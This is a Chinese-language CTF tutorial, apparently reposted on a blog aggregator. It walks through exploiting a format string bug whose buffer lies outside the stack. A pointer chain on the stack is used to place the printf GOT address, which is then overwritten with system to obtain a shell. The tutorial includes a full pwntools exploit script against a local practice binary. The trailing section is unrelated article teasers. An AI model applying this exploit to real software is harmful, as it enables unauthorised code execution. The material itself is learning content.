非栈上的格式化字符串利用例题讲解

news2024/11/15 6:57:01

题目自取:

链接:https://pan.baidu.com/s/1te_oc3GuWTlDDS5q-NhtKQ?pwd=cjz9 
提取码:cjz9

开始:

一个非常明显的格式化字符串漏洞,但是值得注意的是,此时的buf变量不在栈上因此我们之前把printf的got表拿到栈上进行公开处刑,改掉got的值为system函数将无法实现

那么我们要如何才能改掉printf的got表为system函数呢?
这里将要介绍一种方法叫做 ‘一键三连’(我编的,暗示点赞)

 就像这样,明明输入了aaaaaaaa,但是栈上仍然无踪迹可寻。 

找到三连,借助连续指针修改栈上数据: 

比如现在我们想把printf的got表拿到栈上,这时候因为数据是写在bss段的,因此没有办法直接把它们写在栈上。但是有了三连指针,我们就可以完成这个看上去不可能完成的任务。

首先我们要了解一下%n 和 %s 的特点: 
%n 和 %s一样,都是类似于指针的东西,比如我对第7个参数进行%n ,那么实际上修改的并不是第七个参数里的数据,而是把第七个参数里存的数据当成一个指针,然后修改指针指向的对应内容,就理解为比%p %x这样的格式化字符再更深入一层

这也就是为什么我们不能直接修改第七个参数所储存的内容的原因。
但是现在有了三连指针,我们就可以找个类似中介的东西,去替代修改,这就是三连指针的用处。

具体来说,就是用%n,把如图的0x7fffffffdda0所指向的0x7fffffffddb0改成0xfffffffdd98,这样的话,我们用%n作用在第八个参数就可以修改第七个参数所储存的内容了!

因为我们一次修改只能修改2个字节的东西(%hn),而地址有16位,因此我们需要分四次将printf的got表拿到栈上。这里随便给个修改的代码举个例子:
 

nu_1 = stack_1 & 0xffff
payload_1 = b"%" + str(nu_1).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_1 = printf_got & 0xffff
payload_1 = b"%" + str(printf_got_nu_1).encode("utf-8") + b"c%8$hn\x00"
io.send(payload_1)
io.interactive()

nu_2 = stack_2 & 0xffff
payload_1 = b"%" + str(nu_2).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_2 = (printf_got + 2) & 0xffff
payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()

nu_3 = stack_3 & 0xffff
payload_1 = b"%" + str(nu_3).encode("utf-8") + b"c%6$hn\x00"
io.send(payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()
printf_got_nu_3 = (printf_got + 4) & 0xffff
payload_1 = b"%" + str(printf_got_nu_3).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()


nu_4 = stack_4 & 0xffff
payload_1 = b"%" + str(nu_4).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_2 = (printf_got + 6)& 0xffff
payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()

 如此之后,我们就成功地把printf的got的地址分四次放在了栈上

 接下来就是把printf的got表的内容修改为system的地址就行
注意:
改got只能一次成型,因为如果分多次,导致printf的got表改变,就不会再执行pirntf函数了,因此需要一次性修改,否则将会失败。

sys_addr_1 = sys_addr & 0xffff
sys_addr_2 = (sys_addr >> 16)& 0xffff
sys_addr_3 = (sys_addr >> 32)& 0xffff
sys_addr_4 = (sys_addr >> 48)& 0xffff
payload = b"%" + str(sys_addr_1).encode("utf-8") +  b"c%7$hn" 
payload += b"%" + str(0x10000 + sys_addr_2 - sys_addr_1).encode("utf-8") + b"c%9$hn" 
payload += b"%" + str(0x10000 + sys_addr_3 - sys_addr_2).encode("utf-8") + b"c%15$hn"
payload += b"\x00"
io.send(payload)

最后将参数发送过去即可。
exp如下:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
import duchao_pwn_script
arch = 'amd64'
duchao_pwn_script.init_pwn_linux(arch)
pwnfile= './fmt_str_level_2_x64'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc =elf.libc

# 泄露基地址,包含1.文件基地址,2.libc基地址
dem = 'hello\n'
io.recvuntil(dem)
payload4searchbase = b"%9$p\x00"
io.send(payload4searchbase)
main_28 = int(io.recv()[2:14],16)
file_base = main_28 -elf.symbols['main'] -  28
print("file_base is :",hex(file_base))
printf_got = file_base + elf.got["printf"]
payload4searchlibc = b"%11$p\x00"
io.send(payload4searchlibc)
libc_start_main_243 = int(io.recv()[2:14],16)
libc_base = libc_start_main_243 - libc.symbols['__libc_start_main'] -  243
print("libc_base is :",hex(libc_base))
sys_addr = libc_base + libc.symbols["system"]


# 泄露栈地址
payload_search_stack  = b'%6$p\x00'
io.send(payload_search_stack)
stack_offset_1 = -0x8
stack_offset_2 = 0x8
stack_offset_3 = 0x38
stack_offset_4 = 0x50
stack = int(io.recv()[2:14],16)
stack_1 = stack + stack_offset_1
stack_2 = stack + stack_offset_2
stack_3 = stack + stack_offset_3
stack_4 = stack + stack_offset_4


# 修改三链
nu_1 = stack_1 & 0xffff
payload_1 = b"%" + str(nu_1).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_1 = printf_got & 0xffff
payload_1 = b"%" + str(printf_got_nu_1).encode("utf-8") + b"c%8$hn\x00"
io.send(payload_1)
io.interactive()

nu_2 = stack_2 & 0xffff
payload_1 = b"%" + str(nu_2).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_2 = (printf_got + 2) & 0xffff
payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()

nu_3 = stack_3 & 0xffff
payload_1 = b"%" + str(nu_3).encode("utf-8") + b"c%6$hn\x00"
io.send(payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()
printf_got_nu_3 = (printf_got + 4) & 0xffff
payload_1 = b"%" + str(printf_got_nu_3).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()


nu_4 = stack_4 & 0xffff
payload_1 = b"%" + str(nu_4).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_2 = (printf_got + 6)& 0xffff
payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()


sys_addr_1 = sys_addr & 0xffff
sys_addr_2 = (sys_addr >> 16)& 0xffff
sys_addr_3 = (sys_addr >> 32)& 0xffff
sys_addr_4 = (sys_addr >> 48)& 0xffff
print("system is :",hex(sys_addr))
print("system_addr1 is :",hex(sys_addr_1))
print("system_addr2 is :",hex(sys_addr_2))
print("system_addr3 is :",hex(sys_addr_3))
print("system_addr4 is :",hex(sys_addr_4))
pause()


# 一次性修改got表项
payload = b"%" + str(sys_addr_1).encode("utf-8") +  b"c%7$hn" 
payload += b"%" + str(0x10000 + sys_addr_2 - sys_addr_1).encode("utf-8") + b"c%9$hn" 
payload += b"%" + str(0x10000 + sys_addr_3 - sys_addr_2).encode("utf-8") + b"c%15$hn"
payload += b"\x00"
io.send(payload)
io.interactive()

#发送/bin/sh
io.send( b'/bin/sh\x00')
io.interactive()

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/393351.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot 项目中集成 Prometheus 和 Grafana

项目上线后,除了能保障正常运行以外,也需要服务运行的各个指标进行监控,例如 服务器CPU、内存使用占比,Full GC 执行时间等,针对一些指标出现异常,可以加入一些报警机制能及时反馈给开发运维。这样&#xf…

如何打造一个高品质的酒店品牌形象?VR全景营销是关键!

数字化改革早已不是新鲜“字眼”,酒店行业作为竞争激烈的红海市场,运用“数字化”升级改造成为宣传推广的重点方向之一。VR全景酒店,运用沉浸式全景展示,使其在竞争激烈的酒店行业中进行差异化竞争,使消费者在线上全面…

SpringCloud:统一网关Gateway

目录 1、网关介绍 2、搭建网关服务 3、路由断言工厂 4、路由过滤器 5、全局过滤器GlobalFilter 6、过滤器执行顺序 7、跨域问题处理 1、网关介绍 网关(Gateway)又称网间连接器、协议转换器。网关在网络层以上实现网络互连,是复杂的网络互 连设备&#xff0…

Spark SQL快速入门

在spark上运用SQL处理结构化数据 1、SparkSQL快速入门 1.1 什么是SparkSQL SparkSQL 是Spark的一个模块,用于处理海量结构化数据 限定:结构化数据 1.2 为什么学习SparkSQL SparkSQL是非常成熟的,海量结构化数据处理框架 学习SparkSQL主要…

动态代理—Java

代理可以理解为请一个中间人帮忙处理一些事情。代理支持任意接口类型的实现类对象做代理,也可以直接为接本身做代理。可以为被代理对象的所有方法做代理。可以在不改变方法源码的情况下,实现对方法功能的增强。简化了编程工作、提高了软件系统的可扩展性…

QT入门Display Widgets之QLine、QLcdNumber、QTextBrowser

目录 一、QLine界面相关 1、布局介绍 2、界面基本属性 二、QLCDNumber的介绍 1、界面布局 2、定时器代码测试 三、QTextBrowser 此文为作者原创,创作不易,转载请标明出处! 一、QLine界面相关 1、布局介绍 先看下界面中创建个Q…

递归(java)

1.递归应用场景 看个实际应用场景,迷宫问题(回溯), 递归(Recursion) 2.递归的概念 简单的说: 递归就是方法自己调用自己,每次调用时传入不同的变量.递归有助于编程者解决复杂的问题,同时可以让代码变得简洁。 3.递归调用机制 我列举两个小案例,来帮助大家…

Stream——数字类型的字符串排序

文章目录前言什么是数字类型的字符串一个简单的坑demo拯救坑代码对象集合中的数字类型排序(有坑)对象集合中的数字类型排序 解决扩展将数字类型字符串数组转换为Integer集合总结前言 想到给数据进行排序,一开始头脑中想到的就是sorted(),本篇文章重点说…

SSL安全证书有什么优缺点?

在将SSL实施到您的站点之前,了解SSL的优点和缺点非常重要。下面就给大家分析下安装SSL证书有什么优缺点:优点:1. 加密信息确保您在线发送的数据只被指定的接收者读取,而不被其他人读取。SSL对原始数据进行了一些更改,因…

秒懂SpringBoot之Filter与HandlerInterceptor异同

[版权申明] 非商业目的注明出处可自由转载 出自:shusheng007 文章目录概述前置知识Filter原理及使用场景使用执行顺序设置Filter作用范围HandlerInterceptor原理及使用场景使用实现org.springframework.web.servlet.HandlerInterceptor 接口配置二者异同共同点不同点…

RocketMQ 高级特性

1,事务消息代码实现 之前我们已经在讨论订单业务消息丢失问题中引出了事务消息,本内容我们就实际用代码来实现一下事务消息吧。 首先我们用原生代码来实现一下事务消息,下面是事务消息生产者TransactionProducer类的代码,具体代码…

基于LinkedList高性能android列表适配器

1、前言 我们大部分的时候都是使用ArrayList作为Android适配器Adapter(无论是ListView或者RecyclerView)下的数据容器。为什么使用ArrayList呢?因为他的内部是由数组实现的,所以访问数组元素速度最快,但是如果数据变化…

JNI内两种方式从C/C++中传递一维、二维、三维数组数据至Java层详细梳理

目录 0 前言 1 准备工作介绍 2 一维数组 2.1 return形式 2.2 参数形式 3 二维数组 3.1 return形式 3.2 参数形式 4 三维数组 4.1 return形式 4.2 参数形式 5 测试代码 6 结果说明 0 前言 就如之前我写过的一篇文章【JNI内形参从C代码中获取返回值并返回到Java层使…

Elsevier上传LaTeX 修改稿踩坑

背景 千辛万苦修改完论文,结果发现要求上传可编辑文件,tex上传真的太难了,一堆坑,尤其是编译错误,要等系统创建pdf后才能找到。中间还打了北京的客服电话,结果他们那边并不懂相关的东西。说latex是第三方公…

C语言-基础了解-22-C文件读写

C文件读写 一、打开文件 可以使用 fopen( ) 函数来创建一个新的文件或者打开一个已有的文件,这个调用会初始化类型 FILE 的一个对象,类型 FILE 包含了所有用来控制流的必要的信息。下面是这个函数调用的原型: FILE *fopen( const char *fil…

JS中undefined和null的区别

● JavaScript 真是一个特殊的语言, 其他语言都只有一个表示 “无” 的值, 比如 Java 语言用的是 null, C 语言用的是 NULL, Python 语言用的是 None, Ruby 语言用的是 nil. 只有 JS 里面表示 “空” 的有两个, 一个是 undefined, 一个是 null ● 很多小朋友在刚开始学习的时候…

【项目设计】高并发内存池(六)[细节优化+测试]

🎇C学习历程:入门 博客主页:一起去看日落吗持续分享博主的C学习历程博主的能力有限,出现错误希望大家不吝赐教分享给大家一句我很喜欢的话: 也许你现在做的事情,暂时看不到成果,但不要忘记&…

[ 网络 ] 应用层协议 —— HTTP协议

目录 1.HTTP协议 1.1URL urlencode和urldecode 2. HTTP协议格式 HTTP请求 HTTP响应 3.告知服务器意图的HTTP方法 GET:获取资源 POST:传输实体主体 GET和POST的区别 使用Cookie的状态管理 4.返回结果的HTTP状态码 状态码告知从服务器端返回的…

十连胜!实在智能×浙江省十家农商行,数字科技赋能普惠金融

近日,中共中央、国务院印发了《数字中国建设整体布局规划》(以下简称《规划》)。《规划》指出,建设数字中国是数字时代推进中国式现代化的重要引擎,是构筑国家竞争新优势的有力支撑。全面提升数字中国建设的整体性、系…

C语言-基础了解-23-C预处理器

C预处理器 一、C预处理器 C 预处理器不是编译器的组成部分,但是它是编译过程中一个单独的步骤。简言之,C 预处理器只不过是一个文本替换工具而已,它们会指示编译器在实际编译之前完成所需的预处理。我们将把 C 预处理器(C Prepr…